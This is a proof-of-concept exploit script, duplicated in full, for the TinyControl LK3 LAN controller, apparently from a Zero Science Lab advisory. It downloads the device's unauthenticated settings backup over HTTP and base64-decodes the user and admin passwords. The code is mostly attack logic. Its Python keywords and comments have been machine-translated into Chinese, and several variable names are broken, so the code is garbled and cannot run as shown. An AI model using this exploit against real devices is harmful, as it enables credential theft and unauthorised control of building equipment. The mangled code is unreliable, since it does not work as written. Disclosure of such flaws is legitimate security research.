#!/usr/bin/env Python
#
#Exploit Title: TinyControl LAN控制器V3(LK3) - 远程凭据提取
#利用作者:液态虫
#
#vendor: TinyControl
#产品网页: https://www.tinycontrol.pl
#受影响的版本:=1.58a,HW 3.8
#
#summary: LAN控制器是一个非常通用的
#允许您连接许多不同的设备
#传感器,并远程查看他们的读数,
#远程控制各种类型的输出。
#也可以结合两个功能
#进入自动if-这是带有日历的
#何时- 然后。该设备提供用户界面
#以网页的形式。网站礼物
#读取各种类型的传感器:温度,
#湿度,压力,电压,电流。也是如此
#允许您配置设备,包括。事件
#设置和控制多达10个输出。谢谢
#为许多协议的支持,可能
#要从智能手机运营,收集和观察
#服务器上的结果以及合作
#与其他基于TCP/IP和Modbus的I/O系统。
#
#desc:未经身分的攻击者可以检索
#控制器的配置备份文件并提取
#敏感信息可以使他/她/他们
#绕过安全控制并穿透系统
#整体。
#
#在: LWIP上测试
#
#
#由gjoko'liquidworm'Krstic发现的脆弱性
#@zeroscience
#
#
#咨询ID: ZSL-2023-5786
#咨询ID: https://www.zeroscience.mk/en/vulnerabilities/zsl-2023-5786.php
#
#
#18.08.2023
#
#
导入子过程
导入请求
导入基础64
导入系统
binb='lk3_settings.bin'
outf='lk3_settings.enc'
bpatt='0upassword'
epatt='poot.ntp.org'
startf=false
endf=false
额外=[]
打印(''''
o`'''''''''
| |
| TinyControl LK3 1.58设置DL |
| ZSL-2023-5786 |
| 2023(c)零科学实验室|
| |
|''''''''''''''''''''''''''''''''''''''''''''''''''
| |
''))
如果Len(sys.argv)!=2:
print('[?] vaka: python {} ipaddr
ort'.format(sys.argv [0]))
出口(-0)
其他:
rhost=sys.argv [1]
如果不是Rhost:中的“ http”
rhost='http://{}'。格式(rhost)
TRY:
resp=requests.get(rhost +'/' + binb)
如果resp.status_code==200:
以F:的开放(OUTF,“ WB”)
F.Write(resp.content)
print(f'[*]获取数据为{outf}')
其他:
打印(f'[!]备份失败。状态码: {resp.status_code}')
除异常外,E:
打印('[!] error:',str(e))
出口(-1)
binf=ucf
sout=subprocess.check_output(['strings',binf],universal_newlines=true)
linea=sout.split('\ n')
用于linea:中的刺激器
如果bpatt在thricer:中
startf=true
Elif Epatt in thricer:
endf=true
Elif Startf而不是Endf:
extra.append(thricer)
如果Len(外部)=4:
userl=extral [1] .strip()
adminl=额外[3] .Strip()
TRY:
decuser=base64.b64decode(userl).decode('utf-8')
decadmin=base64.b64decode(adminl).decode('utf-8')
打印('[+]用户密码:',decuser)
打印('[+]管理员密码:',decadmin)
除异常外,E:
打印('[!]错误解码:',str(e))
其他:
print('[!] Regex失败。')
出口(-2)
#
#Exploit Title: TinyControl LAN控制器V3(LK3) - 远程凭据提取
#利用作者:液态虫
#
#vendor: TinyControl
#产品网页: https://www.tinycontrol.pl
#受影响的版本:=1.58a,HW 3.8
#
#summary: LAN控制器是一个非常通用的
#允许您连接许多不同的设备
#传感器,并远程查看他们的读数,
#远程控制各种类型的输出。
#也可以结合两个功能
#进入自动if-这是带有日历的
#何时- 然后。该设备提供用户界面
#以网页的形式。网站礼物
#读取各种类型的传感器:温度,
#湿度,压力,电压,电流。也是如此
#允许您配置设备,包括。事件
#设置和控制多达10个输出。谢谢
#为许多协议的支持,可能
#要从智能手机运营,收集和观察
#服务器上的结果以及合作
#与其他基于TCP/IP和Modbus的I/O系统。
#
#desc:未经身分的攻击者可以检索
#控制器的配置备份文件并提取
#敏感信息可以使他/她/他们
#绕过安全控制并穿透系统
#整体。
#
#在: LWIP上测试
#
#
#由gjoko'liquidworm'Krstic发现的脆弱性
#@zeroscience
#
#
#咨询ID: ZSL-2023-5786
#咨询ID: https://www.zeroscience.mk/en/vulnerabilities/zsl-2023-5786.php
#
#
#18.08.2023
#
#
导入子过程
导入请求
导入基础64
导入系统
binb='lk3_settings.bin'
outf='lk3_settings.enc'
bpatt='0upassword'
epatt='poot.ntp.org'
startf=false
endf=false
额外=[]
打印(''''
o`'''''''''
| |
| TinyControl LK3 1.58设置DL |
| ZSL-2023-5786 |
| 2023(c)零科学实验室|
| |
|''''''''''''''''''''''''''''''''''''''''''''''''''
| |
''))
如果Len(sys.argv)!=2:
print('[?] vaka: python {} ipaddr

出口(-0)
其他:
rhost=sys.argv [1]
如果不是Rhost:中的“ http”
rhost='http://{}'。格式(rhost)
TRY:
resp=requests.get(rhost +'/' + binb)
如果resp.status_code==200:
以F:的开放(OUTF,“ WB”)
F.Write(resp.content)
print(f'[*]获取数据为{outf}')
其他:
打印(f'[!]备份失败。状态码: {resp.status_code}')
除异常外,E:
打印('[!] error:',str(e))
出口(-1)
binf=ucf
sout=subprocess.check_output(['strings',binf],universal_newlines=true)
linea=sout.split('\ n')
用于linea:中的刺激器
如果bpatt在thricer:中
startf=true
Elif Epatt in thricer:
endf=true
Elif Startf而不是Endf:
extra.append(thricer)
如果Len(外部)=4:
userl=extral [1] .strip()
adminl=额外[3] .Strip()
TRY:
decuser=base64.b64decode(userl).decode('utf-8')
decadmin=base64.b64decode(adminl).decode('utf-8')
打印('[+]用户密码:',decuser)
打印('[+]管理员密码:',decadmin)
除异常外,E:
打印('[!]错误解码:',str(e))
其他:
print('[!] Regex失败。')
出口(-2)